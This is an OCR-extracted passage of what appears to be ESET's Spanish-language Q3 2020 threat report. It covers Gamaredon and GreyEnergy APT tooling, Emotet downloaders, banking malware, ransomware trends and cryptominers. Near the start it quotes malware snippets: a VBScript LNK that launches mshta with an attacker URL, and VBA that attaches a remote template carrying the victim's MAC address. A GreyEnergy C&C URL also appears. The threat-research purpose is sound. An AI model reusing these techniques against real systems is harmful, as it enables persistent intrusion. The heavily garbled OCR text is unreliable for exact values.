CbnugbwInJe _TargetPath = "3WIHDIRZLSystem32ymshta. exe™

CbnugbwInJe _Arguments = "http://fvirginiana.space/index _html /F"

CbnugbwInJe _WindowStyle = 1

CbnugbwIndJde .IconLocation = "%WindirZisystem32%SHELL32.d11, 126"

CbnugbwInJe _Description = "Shortcut Script”

CbnugbwInJe _WorkingDirectory = "3WIHDIR%ZLWSystem32y™

CbhbnvgbwInde _5ave

UBScript responsable de crear los archivos LNK

INFORME DE AMENAZAS DE ESET DEL TERCER TRIMESTRE DE 2020 |


https://events.sto.nato.int/index.php/upcoming-events/event-list/event/26-cfp/315-call-for-participation-avt-355-research-workshop-rws-on-intelligent-solutions-for-improved-mission-readiness-of-military-uxvs
https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/
https://github.com/eset/malware-ioc/tree/master/quarterly_reports/2020_Q3
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new
https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs
https://cyber.gc.ca/en/guidance/c2-obfuscation-tools-htran
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/

El segundo modulo es similar al modulo de inyeccion de macros anterior, pero con una particularidad. Uti-
liza scripts BAT y UBS para inyectar macros maliciosas en documentos existentes, y tambien reemplaza
las plantillas de Microsoft Word “Normal.dotm” y “NormalEmail.dotm” por otra gue contiene un proyecto
UBA malicioso con codigo de ejecucion automatica para adjuntar una referencia a una plantilla remota en
el documento activo. Como la plantilla “Normal.dotm” se abre cada vez que inicia Word, esto significa que

Word intentara descargar esta plantilla remota cada vez que abra un documento.

Set ByByyfGBHW = Hothing
ActiveDocument .AttachedTemplate = “http:/fcalamusi.®yz/"" + MACAddress + "“/bin/log/fFACYWjHTD .dot"
End Sub

Codigo de proyecto UBA responsable de agregar una plantilla remota al documento activo

El tercer modulo es un archivo SFX que contiene scripts para explorar los sistemas comprometidos
(unidades locales y asignadas] en busca de archivos y ejecutables con nombres de archivo especifi-
cos, y modificarlos. Algunos ejemplos de los nombres de ejecutables que busca especificamente son:
x1installx, xsetupx, *xdrivx, xusbx, xwordx, xofficex, xwin* y *rarx,

Este modulo usa 7z para troyanizar archivos y ejecutables. En el caso de los archivos, simplemente
agrega un downloader de UBS malicioso, con la esperanza de que la victima lo ejecute en forma ma-
nual. En el caso de los ejecutables, crea un archivo valido SFX con 7z que lleva el mismo nombre y
contiene tanto el ejecutable original como un downloader de UBS malicioso. El archivo de configura-
cion embebido en el archivo SFX recien creado garantiza que ambos se desempaqueten y se ejecuten
al abrir el archivo SFX.

Si bien estas nuevas herramientas del grupo Gamaredon no son sofisticadas, demuestran claramente
que sus operadores son capaces de encontrar soluciones creativas para mejorar el movimiento late-
ral en las redes objetivo y ocasionarles todo tipo de dolores de cabeza a los defensores.

Indicadores de Compromiso [21]

Grupo GreyEnergy Nota exclusiva para el Informe de Amenazas

En 2018 ESET identificd [37] al grupo GreyEnergy, activo desde 2015,
como sucesor del grupo de amenazas persistentes avanzadas [APT)

BlackEnergy, junto con el grupo TeleBots. El grupo GreyEnergy esta
interesado principalmente en redes 1ndustriales pertenecientes a diversas
organizaciones de infraestructura critica. En diciembre de 2016, el grupo
implementd un gusano de eliminacion de datos que los investigadores de ESET
creen que fue el predecesor de NotPetya.

El malware GreyEnergy aun continua desarrollandose en
2020

En 2020, detectamos actividad de GreyEnergy en el sector energetico de Asia Occidental. E1l grupo no
ha cambiado sus tacticas, tecnicas y procedimientos de manera significativa:; los atacantes siguen

implementando el malware GreyEnergy en servidores Windows y estaciones de trabajo importantes, y
su malware PHP en servidores web internos.

Detectamos una muestra de GreykEnergy implementada como una OLL de servicio de Windows con la si-
guiente configuracion:

Configuracion de GreyEnergy extraida (se censurd el ID de campafia)

Como se puede ver, el valor Al, que representa la version de GreyEnergy, es 420 (las muestras ante-
riores detectadas en 2018 estaban en la version 336). Esto sugiere que los autores del malware to-
davia contindan desarrollando y mejorando el backdoor GreyEnergy. El significado de los restantes
elementos de configuracion se describe [38] en nuestro white paper sobre GreyEnergy.

Esta muestra tiene la siguiente URL de C&C: https://185.153.196[.]194/UpdateServices/CF

Indicadores de Compromiso (IoC]) [21]
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Las 10 principales detecciones de malware

Esta deteccidn generalmente abarca archivos de Microsoft Office creados con fines malintenciona-
dos que intentan manipular a las potenciales victimas para gue habiliten macros maliciosas. Tras su
ejecucion, la macro maliciosa incluida normalmente descarga y ejecuta malware adicional. Los docu-
mentos maliciosos se suelen enviar como archivos adjuntos de correo electronico, que se hacen pa-

sar por informacion importante de relevancia para el destinatario.

LNK/Agent es el nombre de deteccidon del malware que utiliza archivos de acceso directo de Windows
LNK para ejecutar otros archivos en el sistema. Los archivos de acceso directo han ganado populari-
dad entre los atacantes, ya que generalmente se consideran inofensivos y tienen menos probabilida-
des de generar sospechas. Los archivos LNK/Agent no contienen ningln payload malicioso y general-
mente forman parte de otro malware mas complejo. A menudo se usan para lograr la persistencia de

los principales archivos maliciosos en el sistema o como parte del vector de infeccion.

Este nombre de deteccion abarca documentos especialmente disenados que explotan la vulherabilidad
CUE-2017-11882 [39] del Editor de ecuaciones de Microsoft, un componente de Microsoft Office. El1 ex-

ploit esta disponible de form a publica y por lo general se usa en la primera etapa de la infeccion.

Cuando el usuario abre el documento malicioso, se activa el exploit y se ejecuta su shellcode. Luego

se descarga malware adicional en la computadora para realizar acciones maliciosas arbitrarias.

Las detecciones de HTML/Fraud abarcan varios tipos de contenido fraudulento basado en HTML, distribui-
do con el objetivo de obtener dinero u otro beneficio mediante la participacion de la victima. La infec-
cion se lleva a cabo mediante sitios web fraudulentos, asi como correos electronicos y archivos adjun-
tos basados en HTML. En el caso de los correos electronicos, a veces se engana a los destinatarios para
que crean que han ganado un premio de loteria y luego se les solicita que proporcionen datos personales.
Otro caso comun es la estafa [40] que promete cobrar una fortuna pero solicita el pago de una pequefa

suma por adelantado, como la famosa estafa nigeriana, tambien conocida como “estafa 419”.

Esta clasificacion representa documentos maliciosos de Microsoft Word que descargan mas malware de
Internet. Los documentos a menudo se hacen pasar por facturas de compra, formularios, documentos
legales u otra informacion aparentemente importante. Pueden incluir macros maliciosas, objetos empa-
quetados (Packager)] embebidos, o incluso servir como documentos serfiuelo para distraer al destinata-

rio mientras se descarga el malware en segundo plano.

Las detecciones de DOC/Fraud abarcan principalmente documentos de Microsoft Word con diversos
tipos de contenido fraudulento, distribuidos por correo electronico. El proposito de esta amenaza
es sacar provecho de la participacion de la victima, por ejemplo, persuadiendola para que revele las
credenciales de sus cuentas online u otros datos confidenciales. Engaha a los destinatarios hacien-
doles creer gue ganaron un premio de loteria o que se les esta ofreciendo un prestamo muy conve-
niente. Los documentos a menudo contienen enlaces a sitios web donde las victimas deben completar

informacion personal.

HTML/Phishing.Agent es un nombre de deteccidn para cddigo HTML malicioso que muchas veces se distri-
buye junto a un archivo adjunto de correo electronico de phishing. Cuando se abre el archivo adjunto

malicioso, se abre un sitio de phishing en el navegador web que pretende pasar por un sitio web oficial
de servicios de banca o pagos online, o por una red social. El sitio web le solicita al usuario que ingre-

se sus credenciales u otra informacion confidencial, que luego se envia al atacante.

Este nombre de deteccion abarca varios archivos JavaScript maliciosos que se suelen ofuscar para
evitar las detecciones estaticas. Por lo general, se colocan en sitios web legitimos gque fueron com-

prometidos de modo de infectar a los visitantes.

El nombre de deteccion Win32/HackTool.Equation comprende herramientas atribuidas a la Agencia de
Seguridad Nacional de los Estados Unidos (NSA)J, publicadas por el grupo de hackers Shadow Brokers.
Poco despues de la fuga de datos, estas herramientas comenzaron a ser ampliamente utilizadas por
los ciberdelincuentes. La deteccion tambien incluye otros programas de malware derivados de estas

herramientas filtradas y amenazas que utilizan las mismas tecnicas.

Las detecciones de POF/Fraud representan archivos POF con diversos tipos de contenido fraudulen-
to, distribuidos por correo electrdnico. Al igual que DOC/Fraud, el objetivo de esta amenaza es sacar
provecho de la participacion de la victima, por ejemplo, persuadiendola para que revele sus creden-
ciales u otros datos confidenciales. Engafna a los destinatarios haciendoles creer que ganaron un
premio de loteria o que se les esta ofreciendo un prestamo conveniente. Los documentos a menudo

contienen enlaces a sitios web donde las victimas deben completar informacion personal.


https://nvd.nist.gov/vuln/detail/CVE-2017-11882
https://en.wikipedia.org/wiki/Advance-fee_scam

Las 10 principales detecciones de me

lware en Latinoamerica

LNK/Agent es una deteccidn de malware que utiliza archivos de acceso directo LNK de Windows para
ejecutar otros archivos en el sistema. Los archivos de acceso directo han ganado popularidad entre
los atacantes, ya que generalmente son considerados benignos y tienen menos probabilidades de ge-
nerar sospechas. Los archivos LNK/Agent no contienen ninguna carga Util y generalmente son parte
de otro malware mas complejo. A menudo son utilizados para lograr la persistencia de los archivos

maliciosos principales en el sistema o como parte del vector de compromiso inicial.

LNK/Agent es el nombre de deteccion del malware que utiliza archivos de acceso directo de Windows
LNK para ejecutar otros archivos en el sistema. Los archivos de acceso directo han ganado populari-
dad entre los atacantes, ya que generalmente se consideran inofensivos y tienen menos probabilida-
des de generar sospechas. Los archivos LNK/Agent no contienen ningun payload malicioso y general-
mente forman parte de otro malware mas complejo. A menudo se usan para lograr la persistencia de

los principales archivos maliciosos en el sistema o como parte del vector de infeccion.

Win/AutoHK es una deteccidn relacionada con un cadigo malicioso de caracteristicas muy similares a
HoudRat. AutoHK esta desarrollado en los lenguajes de scripting Autolt y AutoHotkey, disenado para
sistemas operativos Windows. Su principal via de propagacion es a traves de dispositivos removibles
y accesos directos. Una vez que infecta el sistema, se comunica a un C&C para recibir instrucciones

de forma remota; este malware se utiliza principalmente para minar criptomonedas.

Win/CoinMiner es un troyano que utiliza los recursos de hardware de los sistemas infectados para la mi-
neria de criptomonedas. Parte de su actividad maliciosa consiste en mantener la persistencia, por lo que
crea una copia de si mismo en el equipo infectado y crea llaves de registro para ejecutarse en cada ini-
cio del sistema. Luego de que su instalacion ha sido completada, el troyano elimina el archivo ejecutable

original. Este codigo malicioso recolecta informacion del sistema para enviarla a un equipo remoto.

Win/HoudRat es un troyano escrito en el lenguaje de scripting Autolt. Funciona como un RAT (Remote
Access Tool) utilizado principalmente para el control de equipos informaticos, mediante la creacion de
una puerta trasera (backdoor) que permite el acceso remoto a los atacantes. Este codigo malicioso es
utilizado para el robo de informacion, en especial datos financieros de los usuarios. HoudRat se propa-

ga principalmente a traves de medios removibles.

Win32/Bundpil es un gusano capaz de propagarse a traves de medios extraibles. Es parte de Wauchos,
una de las familias de botnhets mas grandes, tambien conocida como Gamarue o Andromeda. Bundpil
fue diseflado para mejorar la persistencia de Wauchos y hacer que sea mas dificil realizar una elimi-
nacion global de su red. Debido a esto, utiliza Algoritmos de Generacion de Dominios (DGA) para ge-

nerar nombres de dominio casi de forma aleatoria.

JS/Scrinject es una deteccion genérica de sitios Web en HTML que contienen scripts ofuscados o eti-
quetas iframe gque tienen como funcion principal direccionar automaticamente a los usuarios hacia si-

tio potencialmente maliciosos, que permitirian la descarga de algun tipo de codigo malicioso.

Win/Exploit.CUE-2017-11882 es una deteccidn que corresponde a un exploit utilizado para aprovechar
la vulnerabilidad de ejecucion remota de codigo en Microsoft Office cuando el software falla en el
manejo apropiado de la memoria. El exploit se propaga principalmente a traves de correo electroni-
co, como un archivo enviado por algun malware o descargado sin el consentimiento de los usuarios al

visitar sitios maliciosos.

JS/Bondat es un gusano escrito en el lenguaje JavaScript que funciona como un vector de infeccion
lnicial, posteriormente descarga otros archivos maliciosos que pueden realizar diversas acciones

maliciosas. Se propaga a traves de medios extraibles utilizando la tecnica LNK. Cuando los usuarios
hacen clic en los archivos LNK, el malware se ejecuta para llevar a cabo sus acciones ofensivas, al

tiempo de que tambien se abre el correspondiente archivo original inofensivo.

Las detecciones de POF/Fraud representan archivos POF con diversos tipos de contenido fraudulento,
distribuidos por correo elPhorpiex es un gusano que se utiliza principalmente para descargar otros
malware o para realizar ataques de Denegacion de Servicio Distribuidos (DDoS). Se esparce a través
de medios extraibles. Una vez que infecta los equipos, reemplaza con su propia copia archivos legiti-
mos almacenados en servidores Web o en carpetas de servidores FTP con el objetivo de enganar a los

usuarios y que ejecuten dichos archivos. Se comunica a traves del canal IRC.



Downloaders

Las detecciones de downloaders UBA impulsados por Emotet dominan la escena, sacando a esta categoria de malware de su letargo.

Tras dos trimestres consecutivos de declive, los downloaders regresaron con fuerza en el tercer TZBPP UBA
trimestre, con un crecimiento cuantitativo de casi el 55%.

DOC
Un contribuyente menor fue una campana de Nemucod observada durante las primeras dos semanas
del tercer trimestre, que ataco principalmente a clientes individuales en Polonia, Japon y la Repu- JS
blica Checa. Sin embargo, los intentos de ataque reales informados por estos clientes sugieren que 64% . ‘1'11PP
el objetivo principal de la campafia era Japon, donde la tasa de deteccion por cliente era casi cua- 10% B Win
tro veces mas alta que en Polonia y dos veces mas alta que en la Republica Checa.

mUBS
El mayor contribuyente al crecimiento de los downloaders fue UBA/TrojanDownloader.Agent. Sus de- 7% \LGPP
tecciones encabezaron la lista de downloaders en el segundo trimestre. En ese momento representa- PS
ron mas de un tercio de todas las detecciones de downloaders (36%). Pero el tercer trimestre trajo
un salto masivo del 60% en las detecciones de archivos UBA, es decir que dos tercios (64%) del por- MSIL
centaje de detecciones corresponden a este tipo de deteccion.
o HTML
Otros

Downloaders UBA/TrojanDownloader.Agent =—JS/TrojanDownloader.Nemucod

Proporcion de detecciones de downloaders por tipo de deteccion en R3 de 2020

En lineas generales, los otros tipos de detecciones de nuestro ranking se mantuvieron en sus mismas
posiciones, aungue con una participacion notablemente mas baja. La proporcion de detecciones de
DOC disminuyo del 21% en el segundo trimestre a menos del 10% en el tercer trimestre. Se observo
un patron similar en el caso de las detecciones de JS, que bajaron del 13% (segundo trimestre] al 7%
(tercer trimestre), seqguido de las detecciones de Win, que disminuyeron del 11% a menos del 6% in-
tertrimestral. Finalmente, los downloaders UBS bajaron del 8% a menos del 5%.

El principal responsable del aumento masivo de detecciones de UBA fue Emotet y su actividad reno-
vada durante el tercer trimestre. Esta notoria cepa de malware se quedo en silencio a principios de
ano, solo para regresar en los ultimos dias de julio tras una pausa de cinco meses. La relacion entre
las detecciones de Emotet y UBA es claramente visible en sus tendencias de deteccion, donde ambas
siguen una trayectoria casi idéntica.

La racha de inactividad de Emotet no fue la primera en sus anos de funcionamiento. A fines de 2019,

sus operadores se ausentaron inesperadamente y retomaron sus actividades en septiembre, justo a
—/\ tiempo para la temporada de compras nhavidefias. Este afio, la pausa duro un poco mas de tiempo, des-

| de febrero hasta fines de julio. Como Emotet no estuvo operando durante los primeros seis meses de

1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020 la pandemia, no es de extrafiar que su ola inicial [41] de spam contra organizaciones estadounidenses

. ., ) , . ) , en agosto utilizara mensajes relacionados al tema del COUID-19.
Tendencia de deteccion de downloaders en R2 y R3 de 2020, promedio movil de siete dias
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https://www.bleepingcomputer.com/news/security/emotet-malware-strikes-us-businesses-with-covid-19-spam/

UBA downloaders Emotet Tambien se ha visto que los operadores de Emotet han estado utilizando un nuevo tipo de plantilla
para sus archivos adjuntos llamada Red Dawn [43]. Por 1o general, se trata de documentos de Word

comprometidos gue contienen una etigueta negra de Office 365 en la parte superior para indicar gue
fueron creados en un dispositivo i0S, y buscan manipular a las victimas para que habiliten macros
maliciosas. E1 25 de agosto, Emotet actualizd esta plantilla, que comenzo a mostrar una etiqueta

roja de Office 365 con el logotipo de Microsoft, abandonando la tactica de i0S.

1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020

Tendencia en la detecciones de downloaders UBA y Emotet en R2 y R3 de 2020, promedio movil de siete dias

Mientras que durante el tercer trimestre el mundo todavia se esforzo por encontrar una vacuna con-
tra el coronavirus, los investigadores de Binary Defense [42] revelaron informacion sobre una “va-

cuna”’ que desarrollaron contra Emotet. Los especialistas explotaron un buffer overflow encontrado
en el proceso de instalacion del malware y crearon una utilidad que lo bloquea, con lo que se evita

la infeccidn. Esta utilidad se distribuyd silenciosamente a traves de los Equipos de Respuesta ante
Emergencias Informaticas (CERT) y la comunidad de seguridad de informacion durante 182 dias hasta
que los operadores de Emotet localizaron la falla, la corrigieron y neutralizaron la utilidad, con lo

gue reanudaron sus operaciones maliciosas en julio de 2020.

Nueva plantilla de archivo adjunto “Red Dawn” de Emotet (Fuente de la imagen: BleepingComputer.com [44]]

Es interesante observar que, tras el regreso de Emotet, hubo un aumento en la

frecuenCIO de las actualizaciones del COdlgO del downloader. Antes de la pausa Otra plantilla que se observd recientemente [45] lleva un logotipo de Windows 10 Mobile, lo cual es
] ] y ] ] ] astante esven aJoso Para 10s atacantes, ya gque 1Croso cance O el soporte para este sistema

de febrero a julio, los operadores actualizaban el binario una o dos veces al bastante d t 1 t, t, M ft 16 el t t, t,

mes. Tras la pausa, el numero de cambios se ha duplicado y tambien se ha vuelto operativo en enero de 2020 y, por lo tanto, puede generar sospechas incluso si lo reciben usuarios

mas regular: se detecta aproximadamente una vez por semana. MEMSE EEPECILITDE.

Zoltan Rusnak, Analista de Malware de ESET
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https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/
https://twitter.com/pollo290987/status/1312186676739932160?s=20
https://twitter.com/Cryptolaemus1/status/1300662754030825472?s=20
https://www.bleepingcomputer.com/news/security/emotet-malwares-new-red-dawn-attachment-is-just-as-dangerous/

Malware bancario

Rbot reemplazo a TrickBot como payload de Emotet mientras el volumen de malware bancario continua disminuyendo.

El malware bancario ha i1do perdiendo fuerza lentamente desde principios del segundo trimestre y Troyano JS/Spy.Banker 59.1%
siguio decreciendo durante el tercero. El niumero total de detecciones de malware bancario se ha re-

ducido en alrededor del 16¥%, sin picos notables ni caidas significativas. Troyano Win/Spy.Zbot 5.6%

Aungue la lista de las 10 principales familias se reorganizo durante el tercer trimestre, la mas do- ‘royano MSIL/ClipBanker 5.5%

minante sigue siendo JS/Spy.Banker, una deteccidn que abarca diversos scripts maliciosos disefados

para robar los datos de las tarjetas de crédito de las victimas y otra informacion personal. Su por- royano Win/Spy.Danabot 5.2%
centaje ha disminuido ligeramente del 63% en el segundo trimestre al 59% en el tercero. La novedad T Win/s ! v 2 99
entre los primeros puestos fue la familia @bot, que crecio un notable 108% en el tercer trimestre. SESEE Ll St S S e
Este aumento probablemente tenga gque ver con gque Rbot se convirtid en uno de los payloads del Troyano Win/TrickBot 2.5
downloader Emotet.
Backdoor Win/Qbot 2.5%
La telemetria de ESET confirmo esta “rivalidad”. Hasta fines del segundo trimestre, TrickBot mantu-
vo tasas de deteccion constantes con rachas ocasionales mas silenciosas, asi como caidas y picos en Troyano Win/ClipBanker 2.1%
las detecciones. Sin embargo, tras la vuelta de Emotet en julio [46], sus nUmeros comenzaron a dismi-
nuir para ser superados por Qbot a mediados de agosto. Troyano Win/Tinba 2.1%
TrickBot termind el tercer trimestre con una caida del 20% en el volumen de deteccidn. Sin embargo, Troyano Win/Spy.Banker . 1.9%
como las detecciones disminuyeron en toda la categoria en general, igualmente paso de la octava a
la sexta posicion, con Qbot en el septimo lugar, justo detras. Las 10 principales familias de malware bancario en R3 de 2020 (% de detecciones de malware bancario)
—TrickBot =—Qbot
1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020 1-Abr-2020 1-May-2020 1-Jun-2020 1-Jul-2020 1-Ago-2020 1-Sep-2020
Tendencia en la deteccion de malware bancario en R2 y 3 de 2020, promedio movil de siete dias Tendencia en la deteccion de TrickBot ylbot UBA en R2 y R3 de 2020, promedio movil de siete dias
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https://twitter.com/ESETresearch/status/1288533242438651906?s=20

Malware bancario en Latinoamerice

Diversas familias de malware bancario mantienen actividad en Latinoamerica.

En el tercer trimestre de 2020, la mayor cantidad de detecciones correspondieron a JS/Spy.Banker
(50,1%], un banker escrito en JavaScript, seguido de Win/Spy.Banker (8,1%]), Win/Spy.VUadokrist (5,9%),

MSIL/ClipBanker (5,4%) y Win/Spy.Cashaneiro (3,7%).

Troyano JS/Spy.Banker

Troyano Win/Spy.Banker
Troyano Win/Spy.VUadokrist
Troyano MSIL/ClipBanker
Troyano Win/Spy.Casbaneiro
Troyano Win/Spy.Danabot
Troyano Win/Spy.Guildma
Troyano Win/Spy.Amavaldo
Troyano Win/Spy.Lokorrito

Troyano Win/ClipBanker

8.1%

S.9%

5.4%

3.7%

3.6%

3.3%

2.4%

2.3%

2.2%

50.1%
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Ransomware

A medida que nuevos atacantes inhtentan sumarse al escenario abarrotado del doxing, ya hubo una fatalidad relacionada directamente a un inhcidente de
ransomware.

Troyano Win/Filecoder.WannaCryptor 52.0%

La telemetria ESET muestra una disminucion de casi un 20% en la actividad de ransomware en el ter- _ _ _

: . . . . , Troyano Win/Filecoder.Crysis 6.5%
cer trimestre. Incluye principalmente familias que se difunden en forma masiva a traves de campa-
fas de correo electronico y solo un numero muy limitado de ataques dirigidos que se aprovechan del Troyano Win/Filecoder.Phobos 4.7
protocolo ROP mal configurado. El caso mas vivido propagado por correo electronico fue documen-
tado en Francia y distribuia Trojan.MSIL/Filecoder.ABC. Segln la informacion disponible publicamente Troyano Win/Filecoder.Sodinokibi 4.4%
[47], el ataque, denominado JobCrypter, utilizaba el ejecutable “successeded.exe” y se hacia pasar
por unha solicitud de empleo o el CU de un solicitante. Troyano Win/Filecoder.Cerber 3.1%
En cuanto a las 10 principales familias detectadas por la telemetria de ESET, Win/Filecoder.Wanna- Troyano Win/Filecoder.GandCrab 3.0%
Cryptor, con sus caracteristicas de gusano, lidero la categoria ya que abarco mas del 52 % de las _ _ _
detecciones. Como ocurrio en trimestres anteriores, estas detecciones (al igual que las de Win/File- Troyano Win/Filecoder.CryptoWall 2.7%
coder.GandCrab) estaban vinculadas a hashes conocidos que continuaron propagandose en redes des- Fraveme Win/ e ceseerLesky > 6%
actualizadas de mercados menos desarrollados.

Troyano Win/Filecoder.CTBLocker 1.5%
La familia Win/Filecoder.Crysis ocupo el segundo lugar con un 6,6%, seguida de Win/Filecoder.Phaobos

con un 4,7% de las detecciones. Win/Filecoder.Avaddon se unio al ranking de familias mas notables Troyano Win/Filecoder.Avaddon 1.4%
del tercer trimestre, en particular debido a una camparia de Nemucod [48] en Japodn. Los informes pu-

blicos tambien muestran que en el tercer trimestre Avaddon paso a un nuevo nivel, ya que se sumao a e . _
Las 10 principales familias de ransomware en R3 de 2020 (% de detecciones de ransomware]

la practica del doxing, engafando a las victimas, robando informacion y difundiendo sus datos en un
sitio de publicacion de fugas lanzado recientemente.

El grupo Maze, pionero en la tactica del doxing, ocupo el duodecimo lugar en el tercer trimestre.
Pero si se combina con las detecciones de otros afiliados a su “cartel”, LockBit y RagnarLocker, 1la
familia sube de rango a la novena posicion.

Es evidente gque la cooperacion entre los miembros del cartel es cada vez mas estrecha, ya que Maze
tomd prestado [49] de RagnarlLocker su enfogue sigiloso y el cifrado de datos de las victimas dentro

de maquinas virtuales. La principal diferencia fue gque Maze uso uha maquina virtual Windows 7 mucho
mas grande en lugar del tipico Windows XP de RagnarlLockers.

En el tercer trimestre, un nuevo miembro se unio al cartel de Maze: SunCrypt. La telemetria de ESET
detecta esta familia como el troyano PowerShell/Kryptik.AX y Win32/Filecoder.00M. Sus operadores
han agregado una nueva tecnica a su compilacion: los ataques de DDoS a los sitios web de las victi-
mas con el objetivo de obligarlas a reanudar las negociaciones.

La banda Sodinokibi/REvil aprovecho el tercer trimestre para reclutar nuevos afiliados [50]. Para de-
1-Abr-202U 1=lFlay-cucu l=-Jun-cucu 1-Jui-2020 1-Ago-2020 1-Sep-2020 mostrar la rentabilidad de su ransomware como servicio, los operadores depositaron cerca de un mi-

116n de dolares en bitcoins en su cuenta. Estos fondos son visibles para los otros miembros del foro

e e ——

Tendencia en la deteccion de ransomware en R2 y R3 de 2020, promedio movil de siete dias clandestino y se pueden utilizar para intercambiar servicios ilicitos o datos robados.
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https://www.virustotal.com/gui/file/15c3cfbad0e3b0afe327e53605c463775ef2ae1d5c21b23928a2aa34b7e36719/detection
https://twitter.com/ESETresearch/status/1270339046645141507?s=20
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/
https://www.bleepingcomputer.com/news/security/revil-ransomware-deposits-1-million-in-hacker-recruitment-drive/

Los operadores de SunCrypt agregaron una nhueva tactica a su arsenal de extorsion: los ataques DOoS al sitio
web de la victima

La caida observada en los ataques de ransomware de difusion masiva se puede
atribuir al mayor exito de los ataques dirigidos combinados con otras tacticas,
como el doxing o el ataque DDoS a los sitios web de las victimas. El depdsito

de 99BTC de Sodinokibi en un foro de la Dark Web de habla rusa demuestra el
atractivo financiero de este modelo de negocio.

Igor Kabina, Ingeniero Senior de Deteccion de ESET

Otros Jugadores de alto perfil gue buscan hacerse un lugar en la escena ya saturada del ransomware
son, entre otros:

= Conti. Segun los informes, esta familia reemplaza a Ryuk, una conocida familia de ransomware que
a menudo se encuentra como payload al final de la cadena de infeccion de Emotet y TrickBot. Conti
utiliza su propio sitio para publicar informacion confidencial robada.

" Grupo 0ldGremlin (con ransomware TinyCryptor]). Este grupo de ciberdelincuentes ha sido descrito

por Group-IB [51] y fue identificado como el autor de varios ataques de ransomware contra

empresas en Rusia y paises de la ex Union Sovietica.

El tercer trimestre tambien trajo mas pruebas de las habilidades tecnicas de estos actores de ran-
somware de alto perfil. Como se describe en una publicacidon en el blog de SenseCy [52], los operado-

res detras de CLOP, DoppelPaymer, el cartel de Maze, Nephilim y Sodinokibi estuvieron aprovechando
vulnerabilidades recientemente publicadas en dispositivos de acceso remoto de Citrix y productos
de Pulse Secure. En algunos casos, los incidentes ocurrieron incluso antes de que los fabricantes tu-
vieran la oportunidad de lanzar parches para su software o hardware.

Un analisis mas detenido de las cuatro vulnerabilidades mencionadas en el blog (CUE-2019-19781, CUE-
2019-11510, CUE- 2012-0158, CUE-2018-8453) muestra que las vulnerabilidades de 2012 y 2018 se han
aprovechado solo en un humero muy limitado de ocasiones.

—CUE-2019-11510 (eje izquierdo) CUE-2012-0158 (eje derecho] =——CUE-2018-8453 (eje derecho)
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Tendencia de clientes Unicos que informan intentos de atagques que explotan vulnerabilidades que se sabe que
fueron aprovechadas por familiaos de ronsomware de alto perfil en R2 y (3 de 2020, promedio movil de siete dias

La vulnerabilidad CUE-2019-19781 afecta a los dispositivos Citrix y, dado que estos dispositivos no
admiten productos de seguridad externos, los intentos de aprovechamiento de esta vulnerabilidad se
documentaran en menor cantidad o directamente no se documentaran. La unica de las cuatro fallas
que la telemetria de ESET detectd como “mas prominente” entre los ciberdelincuentes fue la vulne-
rabilidad CUE-2019-11510 de Pulse Secure Connect. Cada dia, cientos de clientes unicos informaron
intentos de atagque en los que se intentaba aprovechar esta vulnherabilidad.

Cabe destacar que las cuatro fallas, incluyendo la vulnerabilidad CUE-2019-11510, pueden considerar-
se yectores menores en comparacion con el volumen de atagues por fuerza bruta contra el protocolo
RDOP o los humeros de deteccion observados para EternalBlue y BlueKeep.

De todas formas, se ha identificado un ataque de ransomware [53] que aprovechd la vulnerabilidad

corregida CUE-2019-19781 de Citrix y que termino provocando una fatalidad. Debido al cifrado de los
sistemas en el Hospital Universitario de Dusseldorf de Alemania como consecuencia de un ataque de
ransomware, una paciente que corria riesgo de vida tuvo que ser trasladada a otra instalacion, lo
que finalmente provocdo su muerte. Cuando la policia, que investigaba el caso como homicidio [54],

explico que el atagque de ransomware habia afectado un hospital, 1a banda de cibercriminales pro-
porciono las claves de descifrado. El tercer trimestre tambien fue testigo de uno de los ataques de

ransomware mas grandes [55] hasta la fecha, cuando Ryuk cifrd los sistemas informaticos en cientos

de sedes del sistema hospitalario Universal Health Services (UHS) en los Estados Unidos.
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Ransomware en Latinoamerice

El malware disefado para el secuestro de informacion continua activo

en Latinoamerica.

WannaCry o WannaCryptor (70,1%) ocupa la primera posicion de las familias de ransomware con el ma-

yor porcentaje de deteccion en Latinoamerica durante el tercer trimestre de 2020, seguido de las
familias Crysis (7,3%), Phobos (3,8%], CryptoWall (1,9%]) y STOP (1,8%]). Destaca el importante incre-
mento en las detecciones de WannaCry de un periodo a otro.

Troyano Win/Filecoder.WannaCryptor

Troyano Win/Filecoder.Crysis
Troyano Win/Filecoder.Phobos
Troyano Win/Filecoder.CryptoWall
Troyano Win/Filecoder.STOP
Gusano Win/Filecoder.Philadelphia
Troyano Win/Filecoder.Avaddon
Troyano Win/Filecoder.Locky

Troyano Win/Filecoder.NetWalker

7.3%

3.8%

1.9%

1.8%

1.8%

1.8%

1.3%

0.9%

Troyano Win/Diskcoder.Petya lEl.?%

70.1%
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Mineros de criptomonedas

La disminucion durante un largo periodo de tiempo en la actividad de los mineros de criptomonedas se estabilizd en el tercer trimestre de 2020, mientras que
el precio del bitcoin se disparo.

Luego de una disminucion general en el ultimo tiempo, las detecciones de mineros de criptomonedas pa- Al considerar los mineros de criptomonedas distribuidos por trouanos en lugar de aplicaciones po-
recen haberse estabilizado en el tercer trimestre de 2020, con una ligera tendencia al alza. Si1 bien tan- tencialmente no deseadas, o los distribuidos por apps en vez del navegador, el panorama se mantuvo
to en el primer como en el segundo trimestre se notd una disminucion en las detecciones totales de al practicamente sin cambios durante el tercer trimestre, con solo un aumento menor en los mineros
menos un 20% en comparacion con el trimestre anterior, en el tercero la disminucion fue solo del 7%. de navegador, también como resultado del aumento en las ocurrencias de las PUA JS/CoinMiner.

